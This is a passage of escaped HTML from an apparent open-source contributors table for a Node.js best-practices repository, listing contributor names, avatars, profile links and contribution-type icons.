alt=\"Hilton Meyer\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Hilton Meyer</b></sub></a><br /><a href=\"#content-bikingbadger\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://kr.vuejs.org\"><img src=\"https://avatars0.githubusercontent.com/u/1451365?v=4\" width=\"100px;\" alt=\"ChangJoo Park(박창주)\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>ChangJoo Park(박창주)</b></sub></a><br /><a href=\"#content-ChangJoo-Park\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/MasahiroSakaguchi\"><img src=\"https://avatars0.githubusercontent.com/u/16427431?v=4\" width=\"100px;\" alt=\"Masahiro Sakaguchi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Masahiro Sakaguchi</b></sub></a><br /><a href=\"#content-MasahiroSakaguchi\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/TheHollidayInn\"><img src=\"https://avatars1.githubusercontent.com/u/1253400?v=4\" width=\"100px;\" alt=\"Keith Holliday\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Keith Holliday</b></sub></a><br /><a href=\"#content-TheHollidayInn\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.coreycleary.me\"><img src=\"https://avatars3.githubusercontent.com/u/1485356?v=4\" width=\"100px;\" alt=\"coreyc\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>coreyc</b></sub></a><br /><a href=\"#content-coreyc\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://maxcubing.wordpress.com\"><img src=\"https://avatars0.githubusercontent.com/u/8260834?v=4\" width=\"100px;\" alt=\"Maximilian Berkmann\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Maximilian Berkmann</b></sub></a><br /><a href=\"#content-Berkmann18\" title=\"Content\">🖋</a></td>\r\n    </tr>\r\n    <tr>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/DouglasMV\"><img src=\"https://avatars3.githubusercontent.com/u/32845487?v=4\" width=\"100px;\" alt=\"Douglas Mariano Valero\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Douglas Mariano Valero</b></sub></a><br /><a href=\"#content-DouglasMV\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/marcelosdm\"><img src=\"https://avatars0.githubusercontent.com/u/18266600?v=4\" width=\"100px;\" alt=\"Marcelo Melo\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Marcelo Melo</b></sub></a><br /><a href=\"#content-marcelosdm\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/mperk_\"><img src=\"https://avatars0.githubusercontent.com/u/3465794?v=4\" width=\"100px;\" alt=\"Mehmet Perk\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Mehmet Perk</b></sub></a><br /><a href=\"#content-mperk\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/ryanouyang\"><img src=\"https://avatars2.githubusercontent.com/u/360426?v=4\" width=\"100px;\" alt=\"ryan ouyang\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>ryan ouyang</b></sub></a><br /><a href=\"#content-ryanouyang\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/shabeer-mdy\"><img src=\"https://avatars0.githubusercontent.com/u/26842535?v=4\" width=\"100px;\" alt=\"Shabeer\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Shabeer</b></sub></a><br /><a href=\"#content-shabeer-mdy\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/halfzebra\"><img src=\"https://avatars1.githubusercontent.com/u/3983879?v=4\" width=\"100px;\" alt=\"Eduard Kyvenko\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Eduard Kyvenko</b></sub></a><br /><a href=\"#content-halfzebra\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://deyvisonrocha.com\"><img src=\"https://avatars2.githubusercontent.com/u/686067?v=4\" width=\"100px;\" alt=\"Deyvison Rocha\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Deyvison Rocha</b></sub></a><br /><a href=\"#content-deyvisonrocha\" title=\"Content\">🖋</a></td>\r\n    </tr>\r\n    <tr>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://twitter.com/georgemamer\"><img src=\"https://avatars1.githubusercontent.com/u/20108934?v=4\" width=\"100px;\" alt=\"George Mamer\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>George Mamer</b></sub></a><br /><a href=\"#content-georgem3\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/leimonio\"><img src=\"https://avatars0.githubusercontent.com/u/1969742?v=4\" width=\"100px;\" alt=\"Konstantinos Leimonis\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Konstantinos Leimonis</b></sub></a><br /><a href=\"#content-leimonio\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Zybax\"><img src=\"https://avatars3.githubusercontent.com/u/22094453?v=4\" width=\"100px;\" alt=\"Oliver Lluberes\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Oliver Lluberes</b></sub></a><br /><a href=\"#translation-Zybax\" title=\"Translation\">🌍</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://stackoverflow.com/story/tiendq\"><img src=\"https://avatars2.githubusercontent.com/u/815910?v=4\" width=\"100px;\" alt=\"Tien Do\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Tien Do</b></sub></a><br /><a href=\"#content-tiendq\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://singh1114.github.io/\"><img src=\"https://avatars0.githubusercontent.com/u/11356398?v=4\" width=\"100px;\" alt=\"Ranvir Singh\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ranvir Singh</b></sub></a><br /><a href=\"#content-singh1114\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/collierrgbsitisfise\"><img src=\"https://avatars3.githubusercontent.com/u/13496126?v=4\" width=\"100px;\" alt=\"Vadim Nicolaev\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Vadim Nicolaev</b></sub></a><br /><a href=\"#content-collierrgbsitisfise\" title=\"Content\">🖋</a> <a href=\"#translation-collierrgbsitisfise\" title=\"Translation\">🌍</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/germangamboa95\"><img src=\"https://avatars3.githubusercontent.com/u/28633849?v=4\" width=\"100px;\" alt=\"German Gamboa Gonzalez\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>German Gamboa Gonzalez</b></sub></a><br /><a href=\"#content-germangamboa95\" title=\"Content\">🖋</a></td>\r\n    </tr>\r\n    <tr>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/AbdelrahmanHafez\"><img src=\"https://avatars3.githubusercontent.com/u/19984935?v=4\" width=\"100px;\" alt=\"Hafez\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Hafez</b></sub></a><br /><a href=\"#content-AbdelrahmanHafez\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://linkedin.com/in/chandiran-dmc\"><img src=\"https://avatars3.githubusercontent.com/u/42678579?v=4\" width=\"100px;\" alt=\"Chandiran\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Chandiran</b></sub></a><br /><a href=\"#content-chandiran-dmc\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/VinayaSathyanarayana\"><img src=\"https://avatars2.githubusercontent.com/u/16976677?v=4\" width=\"100px;\" alt=\"VinayaSathyanarayana\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>VinayaSathyanarayana</b></sub></a><br /><a href=\"#content-VinayaSathyanarayana\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.kimkern.de\"><img src=\"https://avatars1.githubusercontent.com/u/2671139?v=4\" width=\"100px;\" alt=\"Kim Kern\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kim Kern</b></sub></a><br /><a href=\"#content-kiwikern\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://kennethfreitas.github.io/\"><img src=\"https://avatars2.githubusercontent.com/u/55669043?v=4\" width=\"100px;\" alt=\"Kenneth Freitas\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kenneth Freitas</b></sub></a><br /><a href=\"#content-kennethfreitas\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/songe\"><img src=\"https://avatars2.githubusercontent.com/u/1531561?v=4\" width=\"100px;\" alt=\"songe\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>songe</b></sub></a><br /><a href=\"#content-songe\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://ksed.dev\"><img src=\"https://avatars1.githubusercontent.com/u/30693707?v=4\" width=\"100px;\" alt=\"Kirill Shekhovtsov\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kirill Shekhovtsov</b></sub></a><br /><a href=\"#content-Ksedline\" title=\"Content\">🖋</a></td>\r\n    </tr>\r\n    <tr>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/SerzN1\"><img src=\"https://avatars0.githubusercontent.com/u/2534649?v=4\" width=\"100px;\" alt=\"Serge\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Serge</b></sub></a><br /><a href=\"#content-SerzN1\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/keyrwinz\"><img src=\"https://avatars3.githubusercontent.com/u/21241761?v=4\" width=\"100px;\" alt=\"keyrwinz\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>keyrwinz</b></sub></a><br /><a href=\"#content-keyrwinz\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/nDmitry\"><img src=\"https://avatars0.githubusercontent.com/u/2134568?v=4\" width=\"100px;\" alt=\"Dmitry Nikitenko\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Dmitry Nikitenko</b></sub></a><br /><a href=\"#content-nDmitry\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://bushuai.cc\"><img src=\"https://avatars0.githubusercontent.com/u/1875256?v=4\" width=\"100px;\" alt=\"bushuai\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>bushuai</b></sub></a><br /><a href=\"https://github.com/goldbergyoni/nodebestpractices/pulls?q=is%3Apr+reviewed-by%3Abushuai\" title=\"Reviewed Pull Requests\">👀</a> <a href=\"#content-bushuai\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://stackoverflow.com/users/1348195/benjamin-gruenbaum\"><img src=\"https://avatars2.githubusercontent.com/u/1315533?v=4\" width=\"100px;\" alt=\"Benjamin Gruenbaum\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Benjamin Gruenbaum</b></sub></a><br /><a href=\"#content-benjamingr\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/byeze\"><img src=\"https://avatars1.githubusercontent.com/u/7424138?v=4\" width=\"100px;\" alt=\"Ezequiel\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ezequiel</b></sub></a><br /><a href=\"#translation-byeze\" title=\"Translation\">🌍</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/juaoose\"><img src=\"https://avatars3.githubusercontent.com/u/994594?v=4\" width=\"100px;\" alt=\"Juan José Rodríguez\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Juan José Rodríguez</b></sub></a><br /><a href=\"#translation-juaoose\" title=\"Translation\">🌍</a></td>\r\n    </tr>\r\n    <tr>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/OrBin\"><img src=\"https://avatars1.githubusercontent.com/u/6897234?v=4\" width=\"100px;\" alt=\"Or Bin\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Or Bin</b></sub></a><br /><a href=\"#content-OrBin\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/andreoav07\"><img src=\"https://avatars2.githubusercontent.com/u/508827?v=4\" width=\"100px;\" alt=\"Andreo Vieira\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Andreo Vieira</b></sub></a><br /><a href=\"#content-andreoav\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/mikicho\"><img src=\"https://avatars1.githubusercontent.com/u/11459632?v=4\" width=\"100px;\" alt=\"Michael Solomon\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Michael Solomon</b></sub></a><br /><a href=\"#content-mikicho\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/jimmycallin\"><img src=\"https://avatars0.githubusercontent.com/u/2225828?v=4\" width=\"100px;\" alt=\"Jimmy Callin\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jimmy Callin</b></sub></a><br /><a href=\"#content-jimmycallin\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.linkedin.com/in/siddharthofficial/\"><img src=\"https://avatars2.githubusercontent.com/u/26025955?v=4\" width=\"100px;\" alt=\"Siddharth\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Siddharth</b></sub></a><br /><a href=\"#content-w01fS\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://ryansmith.tech/\"><img src=\"https://avatars0.githubusercontent.com/u/1578766?v=4\" width=\"100px;\" alt=\"Ryan Smith\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ryan Smith</b></sub></a><br /><a href=\"#content-ryan3E0\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://de.linkedin.com/in/tom-boettger\"><img src=\"https://avatars2.githubusercontent.com/u/49961674?v=4\" width=\"100px;\" alt=\"Tom Boettger\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Tom Boettger</b></sub></a><br /><a href=\"#content-bttger\" title=\"Content\">🖋</a></td>\r\n    </tr>\r\n    <tr>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/jormaechea\"><img src=\"https://avatars3.githubusercontent.com/u/5612500?v=4\" width=\"100px;\" alt=\"Joaquín Ormaechea\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Joaquín Ormaechea</b></sub></a><br /><a href=\"#translation-jormaechea\" title=\"Translation\">🌍</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/dfrzuz\"><img src=\"https://avatars3.githubusercontent.com/u/71859096?v=4\" width=\"100px;\" alt=\"dfrzuz\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>dfrzuz</b></sub></a><br /><a href=\"#translation-dfrzuz\" title=\"Translation\">🌍</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/victor-homyakov\"><img src=\"https://avatars1.githubusercontent.com/u/121449?v=4\" width=\"100px;\" alt=\"Victor Homyakov\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Victor Homyakov</b></sub></a><br /><a href=\"#content-victor-homyakov\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://joshuahemphill.com\"><img src=\"https://avatars3.githubusercontent.com/u/46608115?v=4\" width=\"100px;\" alt=\"Josh\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Josh</b></sub></a><br /><a href=\"#content-josh-hemphill\" title=\"Content\">🖋</a> <a href=\"#security-josh-hemphill\" title=\"Security\">🛡️</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/alec-francis\"><img src=\"https://avatars2.githubusercontent.com/u/32949882?v=4\" width=\"100px;\" alt=\"Alec Francis\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Alec Francis</b></sub></a><br /><a href=\"#content-alec-francis\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/arjun6610\"><img src=\"https://avatars1.githubusercontent.com/u/61268891?v=4\" width=\"100px;\" alt=\"arjun6610\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>arjun6610</b></sub></a><br /><a href=\"#content-arjun6610\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/jan-osch\"><img src=\"https://avatars2.githubusercontent.com/u/11651780?v=4\" width=\"100px;\" alt=\"Jan Osch\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jan Osch</b></sub></a><br /><a href=\"#content-jan-osch\" title=\"Content\">🖋</a></td>\r\n    </tr>\r\n    <tr>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/thiagotrs\"><img src=\"https://avatars2.githubusercontent.com/u/32005779?v=4\" width=\"100px;\" alt=\"Thiago Rotondo Sampaio\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Thiago Rotondo Sampaio</b></sub></a><br /><a href=\"#translation-thiagotrs\" title=\"Translation\">🌍</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Alexsey\"><img src=\"https://avatars0.githubusercontent.com/u/6392013?v=4\" width=\"100px;\" alt=\"Alexsey\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Alexsey</b></sub></a><br /><a href=\"#content-Alexsey\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/13luismb\"><img src=\"https://avatars1.githubusercontent.com/u/32210483?v=4\" width=\"100px;\" alt=\"Luis A. Acurero\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Luis A. Acurero</b></sub></a><br /><a href=\"#translation-13luismb\" title=\"Translation\">🌍</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://lromano97.github.io/\"><img src=\"https://avatars1.githubusercontent.com/u/22394847?v=4\" width=\"100px;\" alt=\"Lucas Romano\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Lucas Romano</b></sub></a><br /><a href=\"#translation-lromano97\" title=\"Translation\">🌍</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/denisecase\"><img src=\"https://avatars0.githubusercontent.com/u/13016516?v=4\" width=\"100px;\" alt=\"Denise Case\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Denise Case</b></sub></a><br /><a href=\"#content-denisecase\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://stackoverflow.com/story/elektronik\"><img src=\"https://avatars3.githubusercontent.com/u/1078554?v=4\" width=\"100px;\" alt=\"Nick Ribal\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Nick Ribal</b></sub></a><br /><a href=\"#content-elektronik2k5\" title=\"Content\">🖋</a> <a href=\"https://github.com/goldbergyoni/nodebestpractices/pulls?q=is%3Apr+reviewed-by%3Aelektronik2k5\" title=\"Reviewed Pull Requests\">👀</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/0xflotus\"><img src=\"https://avatars3.githubusercontent.com/u/26602940?v=4\" width=\"100px;\" alt=\"0xflotus\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>0xflotus</b></sub></a><br /><a href=\"#content-0xflotus\" title=\"Content\">🖋</a></td>\r\n    </tr>\r\n    <tr>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.dijonkitchen.org/\"><img src=\"https://avatars3.githubusercontent.com/u/11434205?v=4\" width=\"100px;\" alt=\"Jonathan Chen\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jonathan Chen</b></sub></a><br /><a href=\"#content-dijonkitchen\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/dilansri\"><img src=\"https://avatars2.githubusercontent.com/u/5089728?v=4\" width=\"100px;\" alt=\"Dilan Srilal\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Dilan Srilal</b></sub></a><br /><a href=\"#content-dilansri\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://vectree.ru\"><img src=\"https://avatars3.githubusercontent.com/u/4215285?v=4\" width=\"100px;\" alt=\"vladthelittleone\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>vladthelittleone</b></sub></a><br /><a href=\"#translation-vladthelittleone\" title=\"Translation\">🌍</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.nikolaso.com\"><img src=\"https://avatars0.githubusercontent.com/u/60047271?v=4\" width=\"100px;\" alt=\"Nik Osvalds\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Nik Osvalds</b></sub></a><br /><a href=\"#content-nosvalds\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/kdaniel21\"><img src=\"https://avatars0.githubusercontent.com/u/39854385?v=4\" width=\"100px;\" alt=\"Daniel Kiss\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Daniel Kiss</b></sub></a><br /><a href=\"https://github.com/goldbergyoni/nodebestpractices/commits?author=kdaniel21\" title=\"Documentation\">📖</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/forresst17\"><img src=\"https://avatars2.githubusercontent.com/u/163352?v=4\" width=\"100px;\" alt=\"Forresst\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Forresst</b></sub></a><br /><a href=\"#content-forresst\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/svenheden\"><img src=\"https://avatars1.githubusercontent.com/u/76098?v=4\" width=\"100px;\" alt=\"Jonathan Svenheden\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jonathan Svenheden</b></sub></a><br /><a href=\"#content-svenheden\" title=\"Content\">🖋</a></td>\r\n    </tr>\r\n    <tr>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/AustrisC\"><img src=\"https://avatars2.githubusercontent.com/u/12381652?v=4\" width=\"100px;\" alt=\"AustrisC\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>AustrisC</b></sub></a><br /><a href=\"#content-AustrisC\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/cisco0808\"><img src=\"https://avatars0.githubusercontent.com/u/60251188?v=4\" width=\"100px;\" alt=\"kyeongtae kim\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>kyeongtae kim</b></sub></a><br /><a href=\"#translation-cisco0808\" title=\"Translation\">🌍</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://keybase.io/651z9pz968v2accj\"><img src=\"https://avatars.githubusercontent.com/u/65741741?v=4\" width=\"100px;\" alt=\"007\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>007</b></sub></a><br /><a href=\"#content-6gx7iycn53ioq2e8apk1j1ypwov4giui\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.anediaz.com\"><img src=\"https://avatars.githubusercontent.com/u/17216937?v=4\" 